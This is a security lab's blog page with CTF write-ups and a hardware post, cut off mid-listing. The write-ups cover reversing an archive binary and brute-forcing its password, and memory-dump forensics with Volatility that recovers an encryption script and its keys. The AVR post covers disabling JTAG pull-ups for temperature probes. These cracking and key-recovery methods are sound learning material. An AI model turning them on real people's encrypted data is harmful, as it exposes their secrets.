LSE Blog

Operating systems, computer security, languages theory, and even more!

  • About us

    • Main website
    • Git repositories
    • @lse_epita

    RSS Feed

  • Categories
    • Events
    • Hardware
    • Language
    • Reverse Engineering
    • Security
    • System
      • Linux
    • Tutorials
      • Parallelism
      • PythonGDB
    • Writeups
      • CSAW CTF 2012 Quals
      • DEFCON 2013 Quals
      • DEFCON2K12 Prequals
      • Hack.lu CTF 2012
      • Hack.lu CTF 2013
      • NDH2K12 Prequals
      • NDH2K13 Quals
      • Olympic-CTF 2014
      • PlaidCTF 2012
      • SecuInside2K12 Prequals
      • ebCTF 2013
  • Authors
    • ✉ Samuel Angebault
    • ✉ Remi Audebert
    • ✉ Jean-Loup Bogalho
    • ✉ Pierre Bourdon
    • ✉ Marwan Burelle
    • ✉ Samuel Chevet
    • ✉ Pierre-Marie de Rodat
    • ✉ Ivan Delalande
    • ✉ Corentin Derbois
    • ✉ Nassim Eddequiouaq
    • ✉ Louis Feuvrier
    • ✉ Fabien Goncalves
    • ✉ Nicolas Hureau
    • ✉ Gabriel Laskar
    • ✉ Stanislas Lejay
    • ✉ Franck Michea
    • ✉ Bruno Pujos
    • ✉ Clement Rouault
    • ✉ Pierre Surply
    • ✉ Kevin Tavukciyan
    • « First
    • 3
    • 4
    • 5
    • 6
    • 7
    • Last »
  • hack.lu 2013: FluxArchiv Write-up (both parts)

    Written by Franck Michea
    2013-10-27 23:01:53

    For this exercise with two parts (400 and 500 points), we were given too files: a binary named archiv and some data named FluxArchiv.arc. The two parts involved the same binary.

    When running the binary with no options, it displays an usage message containing the different options possible. We have:

    • An option to list the files contained in the archive.
    • An option to add a file to the archive.
    • An option to extract a file from the archive.
    • An option to delete a file in the archive.

    Every command takes at least the archive name and a password. The last three also take a filename.

    If you want to try it, it was dumped here, thanks to Jonathan Salwan.

    Part 1: Find the password

    Sooo, the first part of the exercise requires us to find the password of the archive FluxArchiv.arc given. We started reversing the binary and noticed a first thing: Awesome, the symbols were not stripped! ... Well actually they were shuffled, which is not that good, but it is not a real problem either. In this write-up, We will always keep the wrong names, but explain what they actually do.

    We started following the path in main that lists the files and followed the code to understand what is done to the password. This can be easily done by following parsing of the command line arguments.

    The first function called on the password argument is incorrectly named checkHashOfPassword. It will initialize a global buffer of length 0x14 named hash_of_password (correctly) with the SHA-1 digest of the given password. This function is simple.

    If we continue to follow the listing option, it then checks that it can access the archive file given, fopens it and then calls encryptDecryptData, that really only checks the magic number of the archive format, at position 0x0: FluxArhiv13.

    If this went OK, it will then call verifyArchiv. This function will do the interesting thing for this part. It will check that our password is correct.

    It first fseeks to offset 0xC, and then reads 0x14 from the archive: another SHA-1 digest. Then it will fill an internal buffer with a re-ordered version of hash_of_password. It will then take this buffer and calculate the SHA-1 digest of it. This digest is compared to the one read from the archive. If it matches, the password is good.

    So, in summary, the password is good if sha1(reorder(sha1(password))) equals to the 20 bytes at offset 0xC in the archive.

    The subject says that the humans who created the archive were drunk and decided to use a 6 character, upper-case or digit password. That is 2.176.782.336 passwords possible. That looks brute-force worthy.

    We first wrote the reordering part (the one that calculates the source index) in python to compute them all. Once done, we decided to write something to brute-force the algorithm. The source code of the brute-forcer can be found here. With 8 threads, it takes 2 minutes and 30-something seconds to go through the whole password space on my i7, and outputs one password: PWF41L.

    Part 1 solved. For those interested, the archive contains 3 images and one mp3 file. They are not really useful.

    Part 2: Find more!

    OK so now that we have the password we can decrypt the data. Yes, indeed, the data is encrypted with RC4, using hash_of_password as the key. The decrypt part is in the function sanitizeFilename. First interesting thing: it is called a lot, and it always resets RC4. So you can't decipher the whole archive in one shot. Damn, we must understand the format then.

    The code is quite simple, but I am honestly bad at reverse engineering, so I decided to take this opportunity to try another approach for once: rewrite the program in C.

    The complete source code can be downloaded here. It doesn't contain the whole program but only the parts I needed to understand what the program was doing and how to finish this part.

    I started by scrolling the functions randomly and trying to understand the simple ones. One that was really useful was listAllFilesInArchiv.

    First, we can see in it a pattern we will find a lot: read 8 bytes, decrypt it and reverse it in a value byte per byte. I called this function read_int in my C code, it reads a 64-bit integer and switches its endianness.

    So the function reads two integers (a andb) and then starts to do the interesting thing: It will clear both with zeros. Then it clears a field of size 0x10, and then a field of size 0x60.

    Another pattern we will find often is a loop for i from 0 to b excluded, seek to a, read the integer at that position and use it as next a, then clear it and continue. In short, a is the offset of the next block in a linked list of blocks, and the first block contains 4 fields, with the second one being the number of blocks. Later we discovered that this is necessary because the last block doesn't begin with an offset set to 0, but to some value to permit calculating its actual size. Here is the C:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    void listAllFilesInArchiv(FILE* stream, unsigned int off) { // delete_file
        char ptr[0x8];
        uint64_t counter;
        uint64_t curpos;
        uint64_t nbblocks;
        uint64_t nextblock;
    
        fseek(stream, off, SEEK_SET);
        nextblock = read_int(stream);
        nbblocks = read_int(stream);
        fseek(stream, off, SEEK_SET);
        clear_data(stream, 8);
        clear_data(stream, 8);
        clear_data(stream, MD5_DIGEST_LENGTH);
        clear_data(stream, FILENAME_SZ);
        for (counter = 0; counter < nbblocks; ++counter) {
            fseek(stream, nextblock * 1040 + 0x20, SEEK_SET);
            curpos = ftell(stream);
            nextblock = read_int(stream);
            fseek(stream, curpos, SEEK_SET);
            clear_data(stream, 8);
        }
    }
    

    The second interesting thing about this function is that it is called on delete (we can see it from command parsing). So an interesting thing rises: if a file was added and then deleted, its data is still present in the archive. It is only deleted from the listing and its blocks are considered "free".

    The offset given to it comes from extractFileFromArchiv. This function starts by seeking to offset 0x20, so just after the global magic + the SHA-1 for the password. It checks a magic ("FluXL1sT"), then reads an integer and then checks for 8 structures of 128 bytes. This is the index! The integer read, if not null, is a link to the next list of 8 files (still beginning by the magic).

    Now we have enough to use my technique to find the unused blocks, but I actually rewrote the complete file listing and extraction to make sure I did it correctly. I then basically logged every block used: all blocks used are 1040 bytes long (this is why we have 8 entries of 128 bytes). I then compared it to the possible list of blocks and just decrypted these blocks. The key was in block at address 0x28a20 + 0x8:

    1
    2
    3
    4
    5
    6
    7
    $ python hacklu2013-fluxarchiv-unused-blocks.py logs
    Found unused block: 0x28200
    Found unused block: 0x28610
    Found unused block: 0x28a20
    [...]
    $ python hacklu2013-fluxarchiv-decrypt.py 0x28a28 0x410
    b"[...] alike.\n\n+++The Mentor+++\n\nFlag: D3letinG-1nd3x_F4iL\n\n[...]"
    

    Example logs here.

    Conclusion

    I didn't finish the second part in time to have the points. I actually used techniques that took a lot of time, and I was quite slow anyway. My goal was not productivity. I took the first part as an opportunity to check that I remembered how to use pthread and the second part as a good example to try another technique for reverse engineering I never used before. Although it was a "slow" technique, it really helped me organise my thoughts and test/fetch data (like the offsets of used blocks, even though it was possible without).

    It was interesting to see. Next time will be for speed!

    Tweet
    Permalink & comments
  • Dealing with the pull-up resistors on AVR

    Written by Pierre Surply
    2013-08-15 13:10:00

    My internship project was to design a temperature monitoring system for the LSE server room. Several homemade temperature probes, based on NTC thermistors, are now arranged in the laboratory. Each of them is connected to a USB interface with a RJ-45 cable.

    The interface is based on an Atmel AT90USBKEY, a development board based on an AT90USB1287 microcontroller. It features a 10-bit successive approximation Analog-to-Digital Converter connected to an 8-channel Analog Multiplexer and a USB controller, which allows us to create a proper USB HID device.

    The host probes the interface to get the values of the different temperature sensors and collects them thanks to StatsD. The interface is exposed as a character device if it's binded to the appropriate driver and can communicate with the user space via ioctl() syscall.

    In our case, the interface is connected to a Sheevaplug, an ARM-based plug computer, which probes the values every 10 seconds and send them to the StatsD server via UDP.

    The first problem I had to face is the strange values returned by the ADC on the channels 4 to 7 when no analog pin is connected:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    $ cat /proc/temp_sensors
    T0: 478
    T1: 473
    T2: 471
    T3: 383
    T4: 1019
    T5: 1023
    T6: 1023
    T7: 1023
    

    1023 is the maximum value of the ADC result, this means that the analog inputs were subject to a voltage equal to the reference voltage (here, Varef = 3.3V).

    Thanks to AT90USB1287 documentation, we can see that pins PF4, PF5, PF6 and PF7 are also used by the JTAG interface.

    Port F

    Port F pins alternate functions

    If the JTAG interface is enabled, the pull-up resistors on pins PF7(TDI), PF5(TMS) and PF4(TCK) will be activated even if a Reset occurs. (AT90USB1287 specifications, Page 88)

    In fact, it seems that the pin PF6 (TDO) pull-up resistor is also activated when the JTAG interface is enabled.

    The input impedance of a converter is very high (due to internal operational amplifier), this justifies the fact that we find the voltage reference in the analog channels 4 to 7.

    If we wanted to keep the JTAG enabled, the schematic of the electronic circuit would be:

    Sensors

    The equivalent resistor Rh can easily be calculated:

    Rh

    Then, the resistance of the thermistor, which represents the current temperature, is given by:

    Rt

    Theoretically, we could consider this pull-up resistor in the calculation of the thermistor. However, the AT90USB1287 specifications indicate that the values of the pull-up resistors are contained between 20KΩ and 50KΩ. This interval is too large to properly calibrate the sensors.

    Never mind: let's disable the JTAG interface! We don't really need it in our case.

    The first way to do it is to unprogram JTAGEN fuse of the microcontroller. However, I can only use DFU (Device Firmware Upgrade) to program the device because I do not have the required equipment to use ICSP, JTAG or parallel programming for this kind of chip and, unfortunately, Fuses cannot be reprogrammed by the bootloader.

    MCUCR

    The other way is to set the bit JTD in the MCUCR register. In order to avoid unintentional disabling or enabling, the specifications ask to the application software to write this bit to the desired value twice within four cycles to change its value. This can be done with the following instructions:

    1
    2
    3
    4
    5
    asm volatile ("out %1, %0"      "\n\t"
                  "out %1, %0"      "\n\t"
                  :
                  : "r" ((uint8_t) 1 << JTD),
                    "i" (_SFR_IO_ADDR(MCUCR)));
    

    Afterwards, the analog inputs 4 to 7 will get a normal behaviour and we can now use them to collect the different temperatures.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    $ cat /proc/temp_sensors
    T0: 478
    T1: 383
    T2: 348
    T3: 376
    T4: 310
    T5: 278
    T6: 257
    T7: 107
    

    All values returned by the device are proportional to the thermistors voltage. As Negative Temperature Coefficient thermistors, their resistance goes up as temperature goes down and the temperature/resistance curve is not linear. The temperature (°C) can be calculated from this resistance with the following expression:

    T
    • Rt = thermistor resistance (Ω)
    • Rh = second bridge resistor (Ω)
    • β = NTC parameter equation (here, β = 4092)
    • T0 = 298 °K (273 °K + 25 °K)
    • K0 = 273 °K (= 0 °C)

    Finally, this temperature monitoring system seems to work and we are now able to see how temperatures of the laboratory evolves as a function of time.

    graph_median

    Evolution of temperatures (°C) as a function of time

    Tweet
    Permalink & comments
  • LSE Summer Week 2013 Videos

    Written by Gabriel Laskar
    2013-08-05 16:30:00

    The videos for the LSE Summer Week 2013 are now available, you can find all of them on the page of the event.

    All the talks are in French, but the slides are in English.

    They are available as a direct download or a youtube link. There are 2 videos that are still missing, they will be available as soon as we get them.

    For the LSE Winter Day 2013, we had some issues with the recording, but we have uploaded them anyway, you can see them on youtube, or directly on the event page, sorry in advance for the bad recording.

    Tweet
    Permalink & comments
  • ebCTF 2013: FOR100

    Written by Gabriel Laskar
    2013-08-05 12:00:00

    1
    2
    3
    4
    5
    6
    After a recent attack, we found this encrypted file. Luckily, we made a
    memory dump, can you decrypt the file?
    
    Archive password: lcoXse3oa3Uicioc
    http://ebctf.nl/files/883f6fdf1a87b7651b7216e1354a7e1f/flag
    http://194.171.96.106/ebctf/memory.7z
    

    We took this exercise as an opportunity to learn to use volatility, so this writeup will be a little overcomplicated, we could have just done it with strings/grep, but it was a great way to learn more about how to search and exploit memory dump.

    To begin with, we have a memory dump of a VirtualBox VM :

    1
    2
    3
    4
    5
    6
    7
    8
    $ file memory.dump
    memory.dump: ELF 64-bit LSB  core file x86-64, version 1 (SYSV)
    $ readelf -n memory.dump
    
    Notes at offset 0x000002a8 with length 0x00000480:
      Owner                 Data size       Description
      VBCORE               0x00000018       Unknown note type: (0x00000b00)
      VBCPU                0x00000440       Unknown note type: (0x00000b01)
    

    A little examination of the raw data indicates that it should be a linux, as we see the grub code in memory, and some indication of a kernel version :

    1
    BOOT_IMAGE=/boot/vmlinuz-3.5.0-23-generic root=UUID=d45d9170-0f93-4ff4-b5a5-be89760c0d77 ro
    

    A little more search indicates that it is an Ubuntu 12.04 x86_64 image.

    In order to use volatility on linux dumps, we must build or find a profile of the kernel. Instructions for building a profile for a kernel can be found here.

    With this profile in place we can now start to tinker with our dump. Let's start with the process list :

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    $ vol.py --profile=LinuxUbuntu1204x64 -f memory.dump linux_pslist
    Volatile Systems Volatility Framework 2.3_beta
    Offset             Name                 Pid             Uid             Gid    DTB                Start Time
    ------------------ -------------------- --------------- --------------- ------ ------------------ ----------
    0xffff88000f9b0000 init                 1               0               0      0x000000000aff1000 2013-07-21 19:19:32 UTC+0000
    0xffff88000f9b1700 kthreadd             2               0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000f9b2e00 ksoftirqd/0          3               0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000fa48000 migration/0          6               0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000fa49700 watchdog/0           7               0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000fa4ae00 cpuset               8               0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000fa4c500 khelper              9               0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000fa4dc00 kdevtmpfs            10              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000fa68000 netns                11              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000fa69700 sync_supers          12              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000fa6ae00 bdi-default          13              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000fa6c500 kintegrityd          14              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000fa6dc00 kblockd              15              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000fb00000 ata_sff              16              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000fb01700 khubd                17              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000fb02e00 md                   18              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000db90000 khungtaskd           21              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000db91700 kswapd0              22              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000db92e00 ksmd                 23              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000db94500 fsnotify_mark        24              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000db95c00 ecryptfs-kthrea      25              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000d5f0000 crypto               26              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000d7a5c00 kthrotld             35              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000d7a2e00 scsi_eh_0            36              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000d7a1700 kworker/u:2          37              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000d7a0000 scsi_eh_1            38              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000d5f5c00 scsi_eh_2            39              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000d5f4500 kworker/u:3          40              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000d5f1700 binder               42              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000f011700 deferwq              62              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000f012e00 charger_manager      63              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000f014500 devfreq_wq           64              0               0      ------------------ 2013-07-21 19:19:32 UTC+0000
    0xffff88000ee35c00 jbd2/sda1-8          201             0               0      ------------------ 2013-07-21 19:19:33 UTC+0000
    0xffff88000ee30000 ext4-dio-unwrit      202             0               0      ------------------ 2013-07-21 19:19:33 UTC+0000
    0xffff88000ec7dc00 kworker/0:3          220             0               0      ------------------ 2013-07-21 19:19:35 UTC+0000
    0xffff88000ec78000 upstart-udev-br      288             0               0      0x000000000ada3000 2013-07-21 19:19:37 UTC+0000
    0xffff88000f2ddc00 udevd                332             0               0      0x000000000ef46000 2013-07-21 19:19:37 UTC+0000
    0xffff88000c291700 udevd                496             0               0      0x000000000c2a6000 2013-07-21 19:19:37 UTC+0000
    0xffff88000c292e00 udevd                497             0               0      0x000000000c2c1000 2013-07-21 19:19:37 UTC+0000
    0xffff88000c838000 kpsmoused            546             0               0      ------------------ 2013-07-21 19:19:37 UTC+0000
    0xffff88000c4c9700 upstart-socket-      638             0               0      0x000000000d939000 2013-07-21 19:19:38 UTC+0000
    0xffff88000ee31700 dhclient3            706             0               0      0x000000000f0fb000 2013-07-21 19:19:38 UTC+0000
    0xffff88000c4cc500 rsyslogd             720             101             103    0x000000000c600000 2013-07-21 19:19:38 UTC+0000
    0xffff88000c83ae00 sshd                 729             0               0      0x000000000bbce000 2013-07-21 19:19:38 UTC+0000
    0xffff88000c4cdc00 dbus-daemon          759             102             105    0x000000000c538000 2013-07-21 19:19:38 UTC+0000
    0xffff88000d1aae00 getty                822             0               0      0x000000000c641000 2013-07-21 19:19:38 UTC+0000
    0xffff88000c62c500 getty                827             0               0      0x000000000d98c000 2013-07-21 19:19:38 UTC+0000
    0xffff88000c839700 login                831             0               1000   0x000000000f28d000 2013-07-21 19:19:38 UTC+0000
    0xffff88000c83dc00 getty                832             0               0      0x000000000d9c1000 2013-07-21 19:19:38 UTC+0000
    0xffff88000c4cae00 getty                834             0               0      0x000000000c684000 2013-07-21 19:19:38 UTC+0000
    0xffff88000d0a4500 acpid                837             0               0      0x000000000c315000 2013-07-21 19:19:39 UTC+0000
    0xffff88000c83c500 cron                 839             0               0      0x000000000d9da000 2013-07-21 19:19:39 UTC+0000
    0xffff88000d1a9700 atd                  840             0               0      0x000000000c327000 2013-07-21 19:19:39 UTC+0000
    0xffff88000da11700 login                896             0               1000   0x000000000ae44000 2013-07-21 19:19:39 UTC+0000
    0xffff88000c514500 whoopsie             901             103             106    0x000000000dae3000 2013-07-21 19:19:39 UTC+0000
    0xffff88000bb15c00 bash                 1064            1000            1000   0x000000000c6f0000 2013-07-21 19:19:46 UTC+0000
    0xffff88000af90000 kworker/0:0          1313            0               0      ------------------ 2013-07-21 19:24:35 UTC+0000
    0xffff88000af94500 kworker/0:2          1314            0               0      ------------------ 2013-07-21 19:29:36 UTC+0000
    0xffff88000af91700 kworker/0:1          1315            0               0      ------------------ 2013-07-21 19:34:37 UTC+0000
    0xffff88000af95c00 kworker/0:4          1316            0               0      ------------------ 2013-07-21 19:35:46 UTC+0000
    0xffff88000af92e00 python2              1317            1000            1000   0x000000000c6fb000 2013-07-21 19:36:09 UTC+0000
    0xffff88000d0a5c00 bash                 1454            1000            1000   0x000000000d8c8000 2013-07-21 19:36:23 UTC+0000
    0xffff88000f9b4500 flush-8:0            1552            0               0      ------------------ 2013-07-21 19:36:28 UTC+0000
    

    As we can see here, we have a python2 instance launched (pid 1317). Let's examine the bash history, in order to see exactly what and how it has been launched. It is a quite long process, but with it we should be able to see exactly what was launched.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    $ vol.py --profile=LinuxUbuntu1204x64 -f memory.dump linux_bash
    Volatile Systems Volatility Framework 2.3_beta
    Pid      Name                 Command Time                   Command
    -------- -------------------- ------------------------------ -------
        1064 bash                 2013-07-21 19:19:47 UTC+0000   ps aux | grep ssh
        1064 bash                 2013-07-21 19:19:47 UTC+0000   sudo poweroff
        1064 bash                 2013-07-21 19:19:47 UTC+0000   ip addr
        1064 bash                 2013-07-21 19:20:53 UTC+0000   ls
        1064 bash                 2013-07-21 19:21:05 UTC+0000   python2 ctf.py
        1064 bash                 2013-07-21 19:21:29 UTC+0000   python2 ctf.py ' i hide my '
        1454 bash                 2013-07-21 19:36:23 UTC+0000   ps aux | grep ssh
        1454 bash                 2013-07-21 19:36:23 UTC+0000   sudo poweroff
        1454 bash                 2013-07-21 19:36:23 UTC+0000   ip addr
        1454 bash                 2013-07-21 19:36:29 UTC+0000   ps aux | grep python
        1454 bash                 2013-07-21 19:37:04 UTC+0000   kill -s SIGUSR1 1317
    

    Ok, so we have a python2 script ctf.py launched and after that, killed by a SIGUSR1 signal.

    If the code should still be in memory, but sadly, not in python memory, as was compiled before and the second launched should only load the pyc file.

    But if we search in memory, we can simply grep for SIGUSR1 there should not be a lot of instance of it. And with that we get :

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    import sys
    import time
    import random
    import signal
    from Crypto.Cipher import AES
    key1 = "is this where"
    key2 = sys.argv[1]
    key3 = raw_input("Password: ")
    iv = 'a very random iv'
    secret = './flag'
    mode = AES.MODE_CBC
    def encrypt(signum, frame):
            key = key1 + key2 + key3
            enc = AES.new(key, mode, iv)
            inp = raw_input("Enter secret: ")
            diff = len(inp) % 16
            if diff != 0:
                    inp += ' ' * (16 - diff)
            with open(secret, 'wb') as outfile:
                    outfile.write(enc.encrypt(inp))
            del key, enc
    def decrypt(signum, frame):
            key = key1 + key2 + key3
            enc = AES.new(key, mode, iv)
            with open(secret, 'rb') as infile:
                    print(enc.decrypt(infile.read(48)))
            del key, enc
    signal.signal(signal.SIGUSR1, encrypt)
    signal.signal(signal.SIGUSR2, decrypt)
    while True:
            time.sleep(1)
    

    Now we have the code. There is a decrypt function that should give us the flag. we have found key2 in the bash history, it was ' i hide my '. What we still miss is the key3 string. So let's look at the python process memory.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    $ vol.py --profile=LinuxUbuntu1204x64 -f memory.dump linux_proc_maps -p 131
    Volatile Systems Volatility Framework 2.3_beta
    Pid      Start              End                Flags               Pgoff Major  Minor  Inode      File Path
    -------- ------------------ ------------------ ------ ------------------ ------ ------ ---------- --------------------------------------------------------------------------------
    $ vol.py --profile=LinuxUbuntu1204x64 -f memory.dump linux_proc_maps -p 1317
    Volatile Systems Volatility Framework 2.3_beta
    Pid      Start              End                Flags               Pgoff Major  Minor  Inode      File Path
    -------- ------------------ ------------------ ------ ------------------ ------ ------ ---------- --------------------------------------------------------------------------------
        1317 0x0000000000400000 0x0000000000671000 r-x                   0x0      8      1       1273 /usr/bin/python2.7
        1317 0x0000000000870000 0x0000000000871000 r--              0x270000      8      1       1273 /usr/bin/python2.7
        1317 0x0000000000871000 0x00000000008da000 rw-              0x271000      8      1       1273 /usr/bin/python2.7
        1317 0x00000000008da000 0x00000000008ec000 rw-                   0x0      0      0          0
        1317 0x0000000002109000 0x0000000002200000 rw-                   0x0      0      0          0 [heap]
        1317 0x00007f7e9a000000 0x00007f7e9a001000 rw-                   0x0      0      0          0
        1317 0x00007f7e9a001000 0x00007f7e9a009000 r-x                   0x0      8      1     146852 /usr/lib/python2.7/dist-packages/Crypto/Cipher/AES.so
        1317 0x00007f7e9a009000 0x00007f7e9a208000 ---                0x8000      8      1     146852 /usr/lib/python2.7/dist-packages/Crypto/Cipher/AES.so
        1317 0x00007f7e9a208000 0x00007f7e9a209000 r--                0x7000      8      1     146852 /usr/lib/python2.7/dist-packages/Crypto/Cipher/AES.so
        1317 0x00007f7e9a209000 0x00007f7e9a20a000 rw-                0x8000      8      1     146852 /usr/lib/python2.7/dist-packages/Crypto/Cipher/AES.so
        1317 0x00007f7e9a20a000 0x00007f7e9a4d3000 r--                   0x0      8      1       8358 /usr/lib/locale/locale-archive
        1317 0x00007f7e9a4d3000 0x00007f7e9a4e8000 r-x                   0x0      8      1        713 /lib/x86_64-linux-gnu/libgcc_s.so.1
        1317 0x00007f7e9a4e8000 0x00007f7e9a6e7000 ---               0x15000      8      1        713 /lib/x86_64-linux-gnu/libgcc_s.so.1
        1317 0x00007f7e9a6e7000 0x00007f7e9a6e8000 r--               0x14000      8      1        713 /lib/x86_64-linux-gnu/libgcc_s.so.1
        1317 0x00007f7e9a6e8000 0x00007f7e9a6e9000 rw-               0x15000      8      1        713 /lib/x86_64-linux-gnu/libgcc_s.so.1
        1317 0x00007f7e9a6e9000 0x00007f7e9a89e000 r-x                   0x0      8      1        968 /lib/x86_64-linux-gnu/libc-2.15.so
        1317 0x00007f7e9a89e000 0x00007f7e9aa9d000 ---              0x1b5000      8      1        968 /lib/x86_64-linux-gnu/libc-2.15.so
        1317 0x00007f7e9aa9d000 0x00007f7e9aaa1000 r--              0x1b4000      8      1        968 /lib/x86_64-linux-gnu/libc-2.15.so
        1317 0x00007f7e9aaa1000 0x00007f7e9aaa3000 rw-              0x1b8000      8      1        968 /lib/x86_64-linux-gnu/libc-2.15.so
        1317 0x00007f7e9aaa3000 0x00007f7e9aaa8000 rw-                   0x0      0      0          0
        1317 0x00007f7e9aaa8000 0x00007f7e9aba3000 r-x                   0x0      8      1        978 /lib/x86_64-linux-gnu/libm-2.15.so
        1317 0x00007f7e9aba3000 0x00007f7e9ada2000 ---               0xfb000      8      1        978 /lib/x86_64-linux-gnu/libm-2.15.so
        1317 0x00007f7e9ada2000 0x00007f7e9ada3000 r--               0xfa000      8      1        978 /lib/x86_64-linux-gnu/libm-2.15.so
        1317 0x00007f7e9ada3000 0x00007f7e9ada4000 rw-               0xfb000      8      1        978 /lib/x86_64-linux-gnu/libm-2.15.so
        1317 0x00007f7e9ada4000 0x00007f7e9adba000 r-x                   0x0      8      1       4874 /lib/x86_64-linux-gnu/libz.so.1.2.3.4
        1317 0x00007f7e9adba000 0x00007f7e9afb9000 ---               0x16000      8      1       4874 /lib/x86_64-linux-gnu/libz.so.1.2.3.4
        1317 0x00007f7e9afb9000 0x00007f7e9afba000 r--               0x15000      8      1       4874 /lib/x86_64-linux-gnu/libz.so.1.2.3.4
        1317 0x00007f7e9afba000 0x00007f7e9afbb000 rw-               0x16000      8      1       4874 /lib/x86_64-linux-gnu/libz.so.1.2.3.4
        1317 0x00007f7e9afbb000 0x00007f7e9b15a000 r-x                   0x0      8      1       1604 /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
        1317 0x00007f7e9b15a000 0x00007f7e9b359000 ---              0x19f000      8      1       1604 /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
        1317 0x00007f7e9b359000 0x00007f7e9b374000 r--              0x19e000      8      1       1604 /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
        1317 0x00007f7e9b374000 0x00007f7e9b37f000 rw-              0x1b9000      8      1       1604 /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
        1317 0x00007f7e9b37f000 0x00007f7e9b383000 rw-                   0x0      0      0          0
        1317 0x00007f7e9b383000 0x00007f7e9b3d5000 r-x                   0x0      8      1       1603 /lib/x86_64-linux-gnu/libssl.so.1.0.0
        1317 0x00007f7e9b3d5000 0x00007f7e9b5d5000 ---               0x52000      8      1       1603 /lib/x86_64-linux-gnu/libssl.so.1.0.0
        1317 0x00007f7e9b5d5000 0x00007f7e9b5d8000 r--               0x52000      8      1       1603 /lib/x86_64-linux-gnu/libssl.so.1.0.0
        1317 0x00007f7e9b5d8000 0x00007f7e9b5de000 rw-               0x55000      8      1       1603 /lib/x86_64-linux-gnu/libssl.so.1.0.0
        1317 0x00007f7e9b5de000 0x00007f7e9b5df000 rw-                   0x0      0      0          0
        1317 0x00007f7e9b5df000 0x00007f7e9b5e1000 r-x                   0x0      8      1        986 /lib/x86_64-linux-gnu/libutil-2.15.so
        1317 0x00007f7e9b5e1000 0x00007f7e9b7e0000 ---                0x2000      8      1        986 /lib/x86_64-linux-gnu/libutil-2.15.so
        1317 0x00007f7e9b7e0000 0x00007f7e9b7e1000 r--                0x1000      8      1        986 /lib/x86_64-linux-gnu/libutil-2.15.so
        1317 0x00007f7e9b7e1000 0x00007f7e9b7e2000 rw-                0x2000      8      1        986 /lib/x86_64-linux-gnu/libutil-2.15.so
        1317 0x00007f7e9b7e2000 0x00007f7e9b7e4000 r-x                   0x0      8      1        967 /lib/x86_64-linux-gnu/libdl-2.15.so
        1317 0x00007f7e9b7e4000 0x00007f7e9b9e4000 ---                0x2000      8      1        967 /lib/x86_64-linux-gnu/libdl-2.15.so
        1317 0x00007f7e9b9e4000 0x00007f7e9b9e5000 r--                0x2000      8      1        967 /lib/x86_64-linux-gnu/libdl-2.15.so
        1317 0x00007f7e9b9e5000 0x00007f7e9b9e6000 rw-                0x3000      8      1        967 /lib/x86_64-linux-gnu/libdl-2.15.so
        1317 0x00007f7e9b9e6000 0x00007f7e9b9fe000 r-x                   0x0      8      1        972 /lib/x86_64-linux-gnu/libpthread-2.15.so
        1317 0x00007f7e9b9fe000 0x00007f7e9bbfd000 ---               0x18000      8      1        972 /lib/x86_64-linux-gnu/libpthread-2.15.so
        1317 0x00007f7e9bbfd000 0x00007f7e9bbfe000 r--               0x17000      8      1        972 /lib/x86_64-linux-gnu/libpthread-2.15.so
